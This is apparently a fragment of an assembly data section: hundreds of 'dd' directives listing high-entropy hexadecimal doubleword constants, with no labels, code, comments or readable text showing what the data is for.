		dd 0FA589B7Fh, 8B41412h, 0DC9C16E4h, 2B636D00h,	985A189h
		dd 825CAEBEh, 0A0C75B07h, 99CFEED9h, 8C93D00h, 0C45241A2h
		dd 74DB0060h, 871DFA0Dh, 4B011719h, 0F23AAA66h,	75FCA082h
		dd 6A7595h, 0CF4926F1h,	0F868A816h, 390012FEh, 7C18DC44h
		dd 7F6AED93h, 4A401EB0h, 0A8F80073h, 899B50A4h,	5D2E307Ah
		dd 0FA85B072h, 5080DC7Dh, 0F12F3A9h, 0BFEEC2D4h, 50494BE0h
		dd 73E41F27h, 2F912B00h, 0F338BCACh, 89613D98h,	44141E82h
		dd 424355A3h, 8E58C1B8h, 86F4E100h, 28D9377Ch, 4127006Ah
		dd 45C8E3BBh, 9C011830h, 0D32B8D4Fh, 68E8027Bh,	0FA3D60F9h
		dd 40286C55h, 22242F0Eh, 0C40580D7h, 0C67735h, 0BBF9372Dh
		dd 0E9737934h, 68A7DE00h, 4E0C47EEh, 0B90300F3h, 0E89AAA5Eh
		dd 92757579h, 0C55AF800h, 0A2B4BDCCh, 8AAD3A96h, 48F5B680h
		dd 3A05B89Bh, 5A98330Eh, 1B626049h, 75D9E9DDh, 9F0700DAh
		dd 0B03C8CAFh, 4400869Eh, 250DC07Eh, 0F0BAE7h, 0BE562AF6h
		dd 4454D31h, 0D3061700h, 1AAAAFB1h, 0B4E0093h, 1B92613Ch
		dd 5C002862h, 0B522CED1h, 3A7A69C3h, 361D207Dh,	0B0A688h
		dd 34E14ECAh, 0CE787C25h, 0B9D43100h, 4C07217Fh, 73D25C74h
		dd 8208A300h, 4F613D63h, 0FD1AA01h, 97DA1AB8h, 0B9804C21h
		dd 382CB653h, 0A63F06DFh, 762F3DF4h, 0AB00DC9Ah, 1A23273h
		dd 16CA933h, 0C5889FEh,	0D4944113h, 8000CFACh, 0E3F22751h
		dd 481576Fh, 5DDF0115h,	0E1A9801Ch, 0D3002A18h,	85FF6793h
		dd 3CD91B0Fh, 0BB1CEA1Fh, 803B1FC8h, 0C3F7AA33h, 0AB00B21Eh
		dd 1B61A118h, 13E2D4B7h, 9A28F6h, 0A5B93EA8h, 0E30EEFD2h
		dd 1A04168h, 0CC7F36Eh,	7896ACCh, 56093B6Bh, 0F833C0E1h
		dd 7A00F6DFh, 5D3ECECDh, 147624Ah, 0A8D877E2h, 8F994D1Dh
		dd 8FF470F9h, 45346958h, 8C8A8018h, 455E11FBh, 77F12000h
		dd 0F1BE9F5h, 0EFAF0285h, 923162Dh, 75CC4360h, 0BAF98400h
		dd 0F5C0343h, 93AF0074h, 0B0E8E29Eh, 0D0B0E629h, 0B1EBFD1Ch
		dd 7BCDBD80h, 38B71550h, 0AF135B5Ah, 0C14A1C55h, 53862B2Eh
		dd 0BCD0E74Fh, 0D000CFCEh, 0AF52226Ah, 0C0DD0B50h, 891B4FC0h
		dd 0EB67EDADh, 300D610h, 50F424E3h, 377ACF9h, 3862134Dh
		dd 0CFA85F0Fh, 57008D54h, 1F783B2h, 981EEB4Ah, 86A705FCh
		dd 9015D709h, 5CCC55E8h, 4A966403h, 0D0680104h,	3EDF06h
		dd 2E915486h, 0D99341BBh, 0D4F8FE00h, 0F020A4CDh, 88630036h
		dd 0E18DADFAh, 2AF2AAE3h, 0C85C050Bh, 9B7887F2h, 1AB4C460h
		dd 50FA1C07h, 0ECED82E1h, 8068291Fh, 1500F52Dh,	780CA50Fh
		dd 1049A0Eh, 0F6017292h, 3056BC8Eh, 7D38B949h, 0D77E0130h
		dd 0EC5EFFE5h, 0C8FA27F1h, 3E61D68Ch, 91000E01h, 0B171DA50h
		dd 309831C6h, 0F626301h, 0C9BC17D6h, 9E7330h, 50D2F97Bh
		dd 0E0B3E996h, 4C741202h, 0C0192839h, 0E4A3177Fh, 0C5F20332h
		dd 1E8FC293h, 0EC1FE590h, 82CBEA38h, 0DBF41A3h,	32D84045h
		dd 0F0A7982Fh, 3BDB00EBh, 0DD493451h, 770F53A4h, 0E09F64C3h
		dd 2AB15210h, 32D4E76Eh, 9F60FB70h, 0E7610035h,	0E078687Fh
		dd 0B1EA499h, 0A14FD515h, 21F0893Ch, 4C6B2A5Ch,	0E615AE4h
		dd 177156BAh, 0E700FD3Dh, 0EC193655h, 0B6E86C82h, 8B74FD1Eh
		dd 185AD00h, 2866CAF5h,	0F81150h, 892A2113h, 0C80F87CFh
		dd 84581548h, 3E00C012h, 6242C3F6h, 28BA0A00h, 14CE17D8h
		dd 61C60099h, 0FF404E74h, 0B0A3AFD9h, 6F0AD4C0h, 0D55D7D00h
		dd 2BC8A5AEh, 3098016Eh, 27B9FF1Ch, 0BDEAD715h,	0BF9D34C0h
		dd 9B728900h, 2586BE6Dh, 703480Dh, 0C066EF01h, 0C92833A4h
		dd 1E94D8FFh, 0C23A9500h, 8F910A5Fh, 0CFD607DBh, 0E070A40Ch
		dd 9E2494FAh, 0C398C060h, 486FC54Bh, 0BD003805h, 23316E5Bh
		dd 0BB00E810h, 0A632797Bh, 81C30Ch, 1815453Bh, 7D8EB983h
		dd 0DD6B700h, 8AE8F578h, 2DC800DDh, 0B35F75ADh,	0BC00FD73h
		dd 7B2B7D1Eh, 7302F87Eh, 0AB695817h, 3DBB9400h,	371BC441h
		dd 1CC13Dh, 86261C8h, 0B8279723h, 0EACC1C44h, 11007EF0h
		dd 5FF9AA69h, 0E500C314h, 3367C858h, 70F2E3Ah, 1A7A7D2Fh
		dd 937E9018h, 83B88936h, 0A9A14Ch, 28472E8Dh, 0FF5CAA9h
		dd 0CE6C49CBh, 0A08068C9h, 0AA953BDEh, 0B01D17E6h, 8EC0C560h
		dd 0C7EEFF9Ah, 1AB10186h, 41763452h, 0DBF1F08Fh, 7961FA00h
		dd 0BDCE5EE1h, 8C670056h, 0B1984CB8h, 145CCC0Fh, 1B100264h
		dd 7261EA01h, 0D42E00B8h, 402337DEh, 56076B44h,	0EEACF068h
		dd 0A7686C0h, 0E03F00C1h, 93FA4DC4h, 1200C318h,	83F6D736h
		dd 392AD13Bh, 0FBF57Ah,	8C8F6506h, 9CF7C88Eh, 6DBAEE00h
		dd 0EF525425h, 474401A4h, 4A194B73h, 0F105E0E8h, 0CBBB0400h
		dd 2F1D6078h, 24D89177h, 0A1246Fh, 190E855Bh, 340039F5h
		dd 1D52DD4h, 805FACh, 0EF67B557h, 14C11B9Fh, 51BA2C07h
		dd 0B6500189h, 0B4DE225Ch, 8EF91E10h, 40FE4BCBh, 0BDB4635Dh
		dd 0AE16CFD8h, 4B1E4EABh, 266F2440h, 0B5F599h, 5E483B3Dh
		dd 575FF892h, 80AA0C01h, 0FB17A7ECh, 3ACCC370h,	0CE00A9A2h
		dd 0D0E85EBEh, 1403F3EBh, 80074B5Ch, 0FAE18048h, 8AB8395Dh
		dd 0E08823B0h, 6C9276AEh, 0CABE5000h, 3C9BB060h, 0C5AC0F42h
		dd 31C0D438h, 0C6AFDFF3h, 7733F600h, 0D5EFD671h, 0DC51009Dh
		dd 664CE37Eh, 0E004993h, 9B600839h, 71F14DB6h, 22F5005Dh
		dd 50C9E483h, 0B700E9E0h, 0F6CDCE4Fh, 17159587h, 0FA6BA0F9h
		dd 609F3A0Fh, 0B6AB8FC1h, 74080330h, 0D4A3FC62h, 0B7CC80CCh
		dd 4F00DA24h, 0F95BDE25h, 87681Ah, 0FA9ACBF3h, 0B76DE11Bh
		dd 3A8E5803h, 90C96253h, 4DBC4Eh, 0C8BDA4E3h, 1646191Dh
		dd 0C30DAB00h, 0C2B8D53Ah, 62EFA0C5h, 33DE3A48h, 5E79D300h
		dd 0BF253C17h, 14D965Ch, 0F96B3186h, 3830BB1Eh,	2D8800AFh
		dd 0EE32A68Dh, 0DB002108h, 0D1ED2C7h, 0DE9352h,	7DF33494h
		dd 7FD1453Ah, 18E03C75h, 0C0CBC500h, 5E04CA58h,	63270010h
		dd 0F1C72E59h, 640032D1h, 3BDF84B3h, 0AA25FCh, 20998AD3h
		dd 4EB076C1h, 59FE930Fh, 0BD889930h, 0E838CDDDh, 0B988077Ah
		dd 0C005EED4h, 642EB6DEh, 0CE4B5Ch, 25C41977h, 445928h
		dd 0C88A5060h, 3D5E751Ch, 6209A000h, 0FE49FA4Ch, 0CECA05F1h
		dd 830EBE3Fh, 9ED0F596h, 592609A1h, 0AF827C24h,	61468CBFh
		dd 0D8303805h, 0E0C107EFh, 176D6BCBh, 0CCE54095h, 0C416F878h
		dd 7800C08Eh, 22A0DC61h, 0E48190FFh, 0BB3A16D3h, 5A7800ABh
		dd 165B70C0h, 9CAC8900h, 976B91DCh, 63E7023Eh, 8760A9F9h
		dd 7B58DB60h, 90227F00h, 92334EF4h, 75AA7404h, 0C8DE05C1h
		dd 80A74B85h, 0A198D99Eh, 0FF476404h, 77806114h, 0EED1962Eh
		dd 78AC076Dh, 8012B7ABh, 0CA027B55h, 3E3DAA05h,	8CC1B8F0h
		dd 1DFCBAF8h, 0B58C0062h, 0DFDDD35Eh, 600B9B0Ch, 60584AF1h
		dd 0F7E8D24h, 4FC309EFh, 53B283C0h, 2500F0BAh, 0A9F7CE99h
		dd 4E2BC1h, 8B75C47Fh, 0D4D8675Eh, 1880C700h, 0A6607230h
		dd 6D2E3A1Ah, 3B5BC800h, 2DDE4AAEh, 0D2073C09h,	0A3A8637Ch
		dd 0A83FD376h, 0FE966E8Ah, 1FBE000Bh, 8B71BA3Bh, 5E0E2A3h
		dd 7200D89Eh, 4B07884h,	756A3867h, 0F27CA680h, 548BC548h
		dd 0AD1D800h, 909F1E7Ah, 1F8989Ch, 0D0B3DF8Eh, 0F0BFEB09h
		dd 32FEBE79h, 0F881F300h, 97275883h, 3A13007Eh,	698EC3D1h
		dd 16F48CC8h, 0AE5D0C3Ah, 0A1008964h, 0F747B45Ch, 0BDE60079h
		dd 666F4E8Eh, 0C1035E9Ah
		dd 0C44926F8h, 0BE4FB002h, 0DECB186Dh, 53D664F0h, 8E7E8BF0h
		dd 0ED00CF74h, 13B8E9B5h, 4E0E62Dh, 0C25E548Fh,	900FAF46h
		dd 286FE09Ch, 2BEAC3Dh,	0CD9D4DBDh, 0AA633408h,	9F87400h
		dd 8448079Bh, 0D79F06C8h, 9C985B02h, 6745AA1Fh,	39B81F7Dh
		dd 0DC8C7A80h, 0A8ACCCh, 0A19C610Dh, 6030198h, 0A938CE00h
		dd 8E97DF29h, 0AC56002Ch, 9BA5803Fh, 0E1095144h, 68B2A0h
		dd 497C4788h, 0CCB46Fh,	69CE4A2Eh, 18965B38h, 0A49A5540h
		dd 0B0C000E5h, 0DFCAAF2Dh, 4517E074h, 0A049F368h, 0BD4C81A5h
		dd 80F02A53h, 1A902CA9h, 970500A0h, 8D6BE9D1h, 0C8B8E801h
		dd 5FDD6551h, 9AAFBF0h,	0F2105817h, 29071C00h, 8D009A26h
		dd 0BE7D4AE9h, 796D642h, 0A45C057Eh, 1A51D00Dh,	38005532h
		dd 0FBED16F2h, 1F65EAh,	2320CF27h, 1ED882C1h, 1D919200h
		dd 7AF8BF08h, 79780012h, 3BEDFAC9h, 49F8A199h, 0F1D88100h
		dd 2C722BFCh, 248F3E0Bh, 778E5E80h, 9170F669h, 6E633Dh
		dd 4F211B97h, 0A494D6h,	0CBEC6268h, 2A31F174h, 79C1111Eh
		dd 0C8EB3EC0h, 769543h,	443C2070h, 0C27A4564h, 622F4F00h
		dd 0E9ECB024h, 0FC1A0BAEh, 0B0008DF1h, 0BADB0CB3h, 0BF753A00h
		dd 239E6D40h, 0F8D14CB7h, 36C2A900h, 0E6E31BECh, 3D45F801h
		dd 2EF2CD3Ah, 58005028h, 0F49783C4h, 59046E52h,	4F8D3DBEh
		dd 2696B8C0h, 0E7E809h,	55CC4E5Fh, 8C918F74h, 68157F00h
		dd 207B8A73h, 45390577h, 0C38DCB3Eh, 0D580C048h, 0EA00BAEFh
		dd 550D4D1Dh, 0A85ABEh,	1B3C63FCh, 4C891E10h, 58D40705h
		dd 0FAC29AC1h, 0E67C44ADh, 66433DC3h, 9FBC1200h, 336A8364h
		dd 872F3500h, 0E72238BFh, 0DFA803F3h, 0F1411B2Eh, 0D8EAE6C9h
		dd 5609E4ACh, 80CFFF8Fh, 0B547F70h, 1AE877h, 909E0833h
		dd 72DEF11h, 12001B73h,	0A6ABB096h, 0E1F885Ch, 0D2D1D9C5h
		dd 969A4A0h, 6630606Ch,	4D5869FBh, 0FE28ECBAh, 3656082Ah
		dd 0DE04B3A5h, 0A4C061C1h, 83EC30h, 5E592E45h, 0A84F7DBCh
		dd 8099313Eh, 2C645D3Dh, 3448E0Ah, 0BACDB0Eh, 80B423CCh
		dd 0BF497165h, 8B068900h, 430DC4D5h, 73240032h,	0B3A36258h
		dd 82009012h, 0E7C2E6D7h, 0AC52CAh, 53C3C460h, 34AE486Eh
		dd 150960Bh, 57AB00BBh,	7EB3D8D4h, 6BC73BECh, 0DC299B80h
		dd 8130B154h, 338E9D04h, 18C03732h, 0E42F0A1h, 60D1214Fh
		dd 41BD43A0h, 8A023593h, 2B398D90h, 0B68A5DF8h,	8866030Dh
		dd 4098FC0Ah, 0B800EF60h, 0F6BFFD6Bh, 61596Dh, 6284EC0Eh
		dd 12D96F74h, 3B00189Bh, 1993D5B7h, 0D4435C39h,	3C48C604h
		dd 0A174E0FBh, 9F7AD200h, 0C6920C2h, 7CFFF22Bh,	2A501E3Fh
		dd 0CCF0840Bh, 0DF00C2C3h, 5580B451h, 0E8B44326h, 65C70013h
		dd 0E2E3D433h, 0AC3F9816h, 2DB20946h, 64F48025h, 153241h
		dd 1984FCB9h, 217AE24Eh, 2E5EC500h, 0B8A7CAD9h,	7E1602BBh
		dd 0F4E15890h, 0A3DA24C8h, 0ACB420EDh, 8000134Fh, 205292Ah
		dd 901E00C6h, 5FB50831h, 444D5EEAh, 5BC0098Ch, 8F288275h
		dd 4B486067h, 4FA60F6Ch, 0A52060CEh, 0E736D7CDh, 44DF1D00h
		dd 0DEAD0DEBh, 149282h,	62267F3h, 47C92954h, 53D738h, 2B72BD5Fh
		dd 1451E17h, 9C0A27B0h,	0D0B48AB9h, 0A6009F96h,	0BD02F31Bh
		dd 1738172Fh, 0DF6BA1h,	58753C56h, 7C009EB9h, 4065484Ah
		dd 7B02BF5h, 0E23DC17Bh, 2F199C1Ch, 62287707h, 85E419C0h
		dd 0BA70F9C0h, 2B402D2h, 0F2ADF98Fh, 0BF213040h, 0E10023E8h
		dd 0DF083B44h, 0F88A80A4h, 72110F94h, 14A08C4Fh, 9866CF45h
		dd 0BAB62A12h, 600702BAh, 0EC809AECh, 47A5B759h, 18D9A800h
		dd 154520DDh, 87B21F38h, 579DC05Ch, 0D4E67C85h,	1900EBECh
		dd 5FF40960h, 489E2D61h, 0D9004CAEh, 0C15039E9h, 0ED7EB82Ah
		dd 0A527743Ch, 50108D73h, 0FCCADFF0h, 7978CCh, 0F52CA0D7h
		dd 3F5C9318h, 18236C24h, 8D4BE981h, 0FE30EEA2h,	197D607Bh
		dd 0CB2A4442h, 0DF008BF0h, 6451EE11h, 1CAFEA5h,	0EC5EC499h
		dd 2B8255F5h, 9AD76840h, 70436Ah, 937AA053h, 30B7668Ch
		dd 2011E00Fh, 1D14A04Ah, 0F6F2247h, 2337C886h, 0BB440193h
		dd 0CC5ED081h, 123EFE1Eh, 89DD80BAh, 28403739h,	0F8820014h
		dd 0AEDE07E0h, 6A0068F2h, 51BC7141h, 2512F35Dh,	20E0FC53h
		dd 0CB3EDB63h, 0EC007DC0h, 74E7FE2Fh, 0D43483h,	603EADA9h
		dd 0F575954Dh, 0CBD57603h, 0B8F86E1Eh, 2B6160Eh, 0DCDDC6E7h
		dd 68E06917h, 0B1008C83h, 0BBF54A78h, 0ABA9CBh,	0A1CC23C8h
		dd 66682B38h, 1B5E4900h, 0C3C5DF57h, 61D30F90h,	3729656Ah
		dd 200C47Eh, 0AF3A119Ah, 1ED6F087h, 0C16689A6h,	7CCB08B1h
		dd 0D0C0D8F9h, 4FC43501h, 1DA0823Ch, 0F0E0AB70h, 509EADBh
		dd 0BBFFB62Ch, 0F216C014h, 3A048DA0h, 722EE31Ah, 0FC25D880h
		dd 0B97100B8h, 6663290Ch, 5000499Ch, 0CEACEA42h, 0E4895E13h
		dd 760D004Fh, 0E726FBFEh, 38F27556h, 2C82D309h,	7570D07Ch
		dd 0F2D20051h, 0E74D6D6Bh, 0AD1E2155h, 68E686A3h, 6F5B7103h
		dd 0AACAD098h, 0E9E400CBh, 0F16C6944h, 750013E1h, 76181223h
		dd 0EC869BF5h, 806F000Bh, 9EF34448h, 257B920Ch,	8791B02Ch
		dd 58948038h, 391B8AB7h, 0AFFC6Fh, 90639ADBh, 0B67F5399h
		dd 0CC664000h, 60306B1Bh, 6A150074h, 33DCEB1Ah,	32008A26h
		dd 7051D7B5h, 3A50F3h, 0A2FAB6AEh, 5B304DD4h, 17C2E3Ch
		dd 4EB3C2A3h, 55D85092h, 73F4F3h, 8EB133B2h, 0B4549A03h
		dd 20F9471Eh, 341C2C00h, 5ACE6FE8h, 7C7FC90h, 0D7D30C3Ah
		dd 0D2C700DFh, 2C3CF545h, 5108A09h, 80B2AD31h, 63364634h
		dd 0A647C500h, 95B755C8h, 0C4AB0115h, 7C7906A0h, 3350D89Eh
		dd 0C3E4FC00h, 0E660D87Eh, 888C5D98h, 0B03B738h, 7685CF5Dh
		dd 6A0EE807h, 0A3F0A852h, 1CA0C2C5h, 4077F558h,	1D5D0D03h
		dd 0E6006726h, 3E5042C0h, 49B0B4h, 8B5E5682h, 0FB7E9B43h
		dd 81F2087Bh, 46B7C309h, 246CD9A7h, 921C00B0h, 1B74C79Bh
		dd 0A9E95C1Fh, 8400A174h, 0B3933CCh, 0A1030082h, 0C9F4665Fh
		dd 0A53978A2h, 65B88080h, 11B9A68Ah, 0DD36002Ch, 83BA60EBh
		dd 8F00E4D6h, 89304723h, 5B7EDCh, 0DD3B3862h, 0BAE79407h
		dd 0EFB54200h, 2164758Ch, 0EDF895h, 7D2019D7h, 0DAB17ED8h
		dd 23D7B01h, 54B35867h,	7A5609F4h, 0F6E03Bh, 9D664B4Fh
		dd 49DB5B46h, 7747F900h, 91B38169h, 0A550144h, 532C6E8Ah
		dd 0FE9EC993h, 0E440DAC0h, 4CF17400h, 91436B18h, 0EA920014h
		dd 15F026E2h, 72028DFFh, 6ED0295Eh, 8CF193h, 97A4013Fh
		dd 3B09DC3Eh, 85FAEEE3h, 43800F90h, 1E0AFF24h, 0CF9D073Fh
		dd 0DA608F18h, 163252B6h, 67D8B300h, 82260E4Eh,	6241006Ch
		dd 0A31C15F8h, 0F0001D09h, 0FE5F99DAh, 172683h,	0F940BF6Dh
		dd 0D5DB711Eh, 0C100A07Eh, 4C28D9BCh, 0F4B646D0h, 45A403D1h
		dd 0A692F5AEh, 7EA33998h, 0A140097h, 98479A9Eh,	0B0561443h
		dd 77FC48Bh, 41077BC3h,	7D371086h, 0F1009198h, 6E4BA249h
		dd 0EE3DAA6h, 0F57C0612h, 0F80239C0h, 0E8008BAFh, 599F4562h
		dd 0DC3BAAh, 0F990E0BDh, 6ECDF54Ch, 0F4CCD513h,	0C639AF00h
		dd 432EC2h, 9810EA77h, 122C0661h, 0BCEB6C00h, 26289554h
		dd 0B70F1D74h, 99E680B5h, 49CCB96Fh, 6183EF0Eh,	27094017h
		dd 215754h, 1E403074h, 0B78B1A86h, 2C901100h, 6271A081h
		dd 63AA0057h, 34E265D7h, 70007559h, 5117A3Bh, 0F5406655h
		dd 0F545CF4h
		dd 6B854C5Ah, 8D4D2340h, 9705BFA1h, 1DF77063h, 89C3F1C0h
		dd 0FEBA3E20h, 0C03A949Dh, 57B0E86Ah, 0CC006E1Ch, 5852BD0Eh
		dd 55B2A8h, 22ABBCE0h, 0E7328D95h, 8F004573h, 4204CD86h
		dd 91792Fh, 0BBA85330h,	7C967AF0h, 8FF90338h, 6464C109h
		dd 2F80CC8Bh, 1EBE3CC5h, 0D25B8167h, 8F64B074h,	0FAE9E300h
		dd 0EE265651h, 2C3E00A9h, 9FFFB0E4h, 0C7FEE1E8h, 0CE365401h
		dd 33F04099h, 0C6D9AD8h, 0ED1CD55Fh, 0DEF257E4h, 2BAF0400h
		dd 0EEFFF54Eh, 0E2C93E9Fh, 364AFD03h, 0F1D04BC8h, 0AE00C3B2h
		dd 8D0B3E6Fh, 1632C797h, 507BE2h, 0DAFDE58Ch, 6B003FFFh
		dd 8257BAA6h, 53D66h, 5DDE8CE9h, 9DB267F8h, 0A1A4E600h
		dd 914F77FBh, 4E1C1C1Ah, 31B4003Ch, 51F3C337h, 86683Eh
		dd 0CA7D07C7h, 1613D9h,	3DAC0FDBh, 0C64BB1A1h, 41AEBF00h
		dd 0E006F3E9h, 0CE8000F1h, 89BE9C9Ah, 0D901FAE1h, 0F5D543F0h
		dd 49F8C132h, 1D4E0EA8h, 7EE512EEh, 0AC855Eh, 339BE27Ah
		dd 0F70003F2h, 784BFA4h, 1E3AAB82h, 404E8634h, 70E7CA1Dh
		dd 0EA00CF4Ch, 232C554h, 3E42D75Dh, 0D638AEC1h,	102EDC00h
		dd 0FD792319h, 29C0900h, 14893E44h, 0EE840255h,	5AB5E130h
		dd 910BA074h, 15005F27h, 25071EC1h, 29D1B600h, 18B738B1h
		dd 46E01FEFh, 1F300E09h, 0EB1C50C1h, 0EB886BBh,	14920CCh
		dd 24E51B3Dh, 70C2150Ch, 460F2785h, 0FC424929h,	3F99B780h
		dd 6BF1F8h, 220EEFE1h, 0B41A907h, 0CB148DECh, 11C5A5Eh
		dd 0A3AB4ED9h, 3FAED8h,	1BA56590h, 0C171A9F4h, 84E67F17h
		dd 913700FEh, 0B18FF71Eh, 0B0D97901h, 0A9117C33h, 8D633881h
		dd 0F4B39490h, 0CD00AE5Ch, 8A2DF4C8h, 39F5E785h, 888354EBh
		dd 0EA85D59h, 972968A0h, 4DB01E79h, 0F26F3F0Eh,	667EA379h
		dd 671FF956h, 3C3020h, 4CF3F85Fh, 330E5414h, 687FC800h
		dd 0C78E3DB2h, 0F47D00F7h, 5F39FA0Fh, 0D500B572h, 23903713h
		dd 58682FAEh, 1C24B28Eh, 0D0FD00D5h, 4F421B3Eh,	79E7D200h
		dd 0A7179495h, 92C40BCAh, 7860F6C7h, 6E004E8Eh,	75412579h
		dd 68B447h, 621F390Ch, 50ABBAF6h, 538E08C3h, 7A9498C0h
		dd 0F1A21816h, 40861904h, 0EC25960Bh, 1FC901D0h, 0E840A5A9h
		dd 33F06EFh, 7EEEDCADh,	0A0C1F67Dh, 883920AFh, 162FC800h
		dd 0F440AA9Ch, 10290017h, 0AA5E07Dh, 8B0051ADh,	8EC727BAh
		dd 74D261C2h, 0AC8C6055h, 72EDDCE1h, 2632A300h,	4C46BC29h
		dd 28FE3AA5h, 0B1574A87h, 730FE0B3h, 3113ED1Fh,	0FF0CF783h
		dd 75418B0h, 0A352BE60h, 38036091h, 0D01D8045h,	0F4280869h
		dd 274AB10Eh, 4D200034h, 72BC944h, 18AF8A45h, 81651069h
		dd 0AE00B949h, 7B8F36B2h, 3EF6150Eh, 19007C1Bh,	44074E9Bh
		dd 0F00694Fh, 47DBD656h, 36C79Fh, 0C99CBCB0h, 210654DEh
		dd 0A2444E00h, 1AE878A0h, 0EE610039h, 0A3CA0C84h, 490066C8h
		dd 0C55B8FFDh, 0E8A50EB7h, 0F3692659h, 7A3500B8h, 209B1566h
		dd 810D48C0h, 0C0543Ch,	11F42E41h, 0AE35B6F0h, 88007BEEh
		dd 17CEE620h, 0BA9031h,	1A1883A7h, 619DF61Bh, 3600D5E0h
		dd 67B88B30h, 4D0E29h, 0BD134FE9h, 0D516DCF1h, 773FB18h
		dd 606D7729h, 10C97825h, 61030B78h, 0CE3D5D0Fh,	0B609E836h
		dd 3C4F698h, 0F3AF73EEh, 69B8D434h, 28393193h, 0E81980C0h
		dd 99CF7149h, 0A601DCAh, 332A80F8h, 963FCE77h, 9EBD9C3Dh
		dd 781BA53h, 0E08C19D9h, 38BC3AECh, 0CC50805Fh,	25DB000Ch
		dd 0FE06D1F3h, 4E74A0C6h, 805EBD3Eh, 8739A18Ah,	0FCC4FE1h
		dd 0C89B58EAh, 90458147h, 0CD8B648Eh, 741C693Eh, 28C5400h
		dd 258D22FFh, 0F29F1D48h, 41C7C026h, 8A1E6266h,	3ABB8F38h
		dd 0AC180380h, 80B8C1FFh, 38A6586Ah, 0F98002C6h, 0B7A23350h
		dd 2D3819C7h, 0FAF309AEh, 6E9107AFh, 0DCC2A025h, 92EDE02Ch
		dd 13CE03CDh, 40ED6CD7h, 98E882E7h, 0B977D60h, 1E2B1F07h
		dd 1863D079h, 0BB17D8A9h, 4774F1h, 9386D9AEh, 0BF84C839h
		dd 0C6B95101h, 85E446BEh, 6A601082h, 49E5204h, 0DA0230Fh
		dd 635C806Bh, 0F219DE9h, 78BEEEC2h, 0CF774280h,	0E0B8FA6Dh
		dd 0DAD82B00h, 0F6E543F1h, 9AC20026h, 0D00D41FEh, 94006029h
		dd 0AE4BECABh, 0EAAA10h, 0DED7C076h, 0F5451D98h, 65BBC90Eh
		dd 2E40BE18h, 668914A0h, 0B1120061h, 8B88D07Eh,	53005EC5h
		dd 0BEEAAFDFh, 0FEAE1A79h, 0CA4000B6h, 0C76F299Fh, 50725B04h
		dd 13308A07h, 0C8E0DF92h, 366BD09h, 7641D8B8h, 56003B7Ch
		dd 8652122Ah, 67C3D1h, 0ED2C3283h, 0B81E736Ch, 0C401ADECh
		dd 642F9CA7h, 8CD44A2Bh, 9A040077h, 6F5D0C8Eh, 7CB898C6h
		dd 0E1901000h, 4EFCE4CAh, 65330061h, 6B31AB56h,	42740396h
		dd 5300D0B0h, 0A2802E3Ch, 633A33h, 8DEC23CEh, 0D781EA4Fh
		dd 0ACE64000h, 7AAF076Eh, 0FE250180h, 5218D955h, 1A6170A7h
		dd 7D293104h, 0C18237B5h, 8E60DF72h, 0CD1F6007h, 30803C33h
		dd 0A1F5D48Eh, 40A8006Ch, 5E91C79Bh, 0B300ABAFh, 5130C5Bh
		dd 0E24B4F6h, 7E6FDB28h, 0B8EA7660h, 9A009CCEh,	92F02758h
		dd 518C48h, 24DF83E3h, 0A38FA152h, 544B5900h, 580527D8h
		dd 31F10081h, 0A5CA6E8Eh, 0B9002073h, 6FC72535h, 0E38D0h
		dd 99340785h, 61BC6E1Ch, 96D35100h, 45373CB8h, 0C5FD0324h
		dd 1092C62Dh, 1AF65D90h, 6A67B600h, 15E8A5C4h, 6F9800FBh
		dd 403B2B54h, 7CF47F1Dh, 22A44Ch, 0CD6709B4h, 0EC7D08h
		dd 62ADF060h, 9B5E712Fh, 0B1F2CB00h, 9A6381D5h,	458005Dh
		dd 76784C60h, 0D0004705h, 44DABCDFh, 868C13h, 93653555h
		dd 168B2CB5h, 0FCA4B607h, 0CCC0F448h, 44F1FAh, 8C5B795h
		dd 20D8FDF2h, 0E7BCDB00h, 735D17Dh, 2B4C0F36h, 1740430Dh
		dd 0BE12B4C4h, 0F4F7AA07h, 46A05719h, 0BA8DF3F9h, 29210030h
		dd 6E769AA9h, 0D700D454h, 0AD2B06F2h, 91C889h, 2C453B3h
		dd 622FFFDAh, 7FF33C00h, 0BC92A497h, 931F1E84h,	0E680FB46h
		dd 859D301Ch, 90003EDAh, 0C6057B6Ch, 727709D8h,	0BA3001Ah
		dd 0BDE231FEh, 2600D379h, 3A8B6FABh, 4D24B221h,	420E0CE6h
		dd 0C240ADA7h, 0F6DA481Eh, 0C43CCB00h, 0D88B5EAFh, 1C987281h
		dd 43432B3Bh, 5F10D540h, 0C6FA2CB8h, 1F0C5A02h,	60D79749h
		dd 1F864D20h, 79A27689h, 681A8E00h, 85666D12h, 56B8B201h
		dd 6CFE0F7Ch, 2E11D1F4h, 0C1E338h, 0D32F82DFh, 9801803Ah
		dd 43D28726h, 70803341h, 94033034h, 1FE8081Bh, 1A01D600h
		dd 6102CE7Ch, 819E07FCh, 13831152h, 10A8F0BFh, 0EC002CBDh
		dd 6E33E119h, 9B770h, 667F30EBh, 99AED7D5h, 291ECE7Bh
		dd 854071B5h, 0B4DF3887h, 7054004Ch, 2E5DBF6h, 0BF00EE44h
		dd 580B1701h, 92A236h, 68C94EBh, 0DF49B4FCh, 0F8E20A02h
		dd 800BB5C6h, 76FBAE93h, 2EBD0078h, 0C3E40E4Eh,	301D2D8Dh
		dd 0F1C0CCA0h, 1B205BA1h, 682C0E95h, 0F4A03EC8h, 0DBF812AAh
		dd 8B214100h, 4B0B9137h, 93D50B52h, 0AC804CC0h,	329EDD16h
		dd 3295D05h, 0E4404928h, 0E43984A4h, 0A1DA006Ch, 532ED402h
		dd 3573EC06h, 8A7EC177h, 60CC5900h, 6DB69E69h, 796C9818h
		dd 0D809487Eh, 0FD0C8000h, 0EE7DD35h, 0A08949h,	465D2BD8h
		dd 6DB261h, 8227F6B9h, 0B07E5ADFh, 0D6835900h, 428BD702h
		dd 139A1D1Eh, 430500E9h, 3BAD1D0Fh, 5FE838h, 7F909B91h
		dd 0E7B8309h, 71524698h, 47FB4020h, 0AA072D67h,	78223848h
		dd 0AED66BA0h, 98DD4CA1h
		dd 2D808A39h, 0E4D7B96Ch, 6177634Dh, 7C6ABB00h,	8BC1D006h
		dd 251515F3h, 497488C3h, 6C03900Bh, 23217237h, 0DD4D84E0h
		dd 71CFAC1Fh, 279D289Ch, 95927081h, 409D56D8h, 9DD183DAh
		dd 9C03F0D0h, 21D5572Ch, 39CD984Dh, 716FAB5h, 2DEB609Ah
		dd 0B06C3241h, 0E994AC80h, 4773B152h, 33E40F24h, 0E02AB700h
		dd 8C2D4Dh, 88EF574Eh, 1A5B30EDh, 42DA2405h, 75C0A5E8h
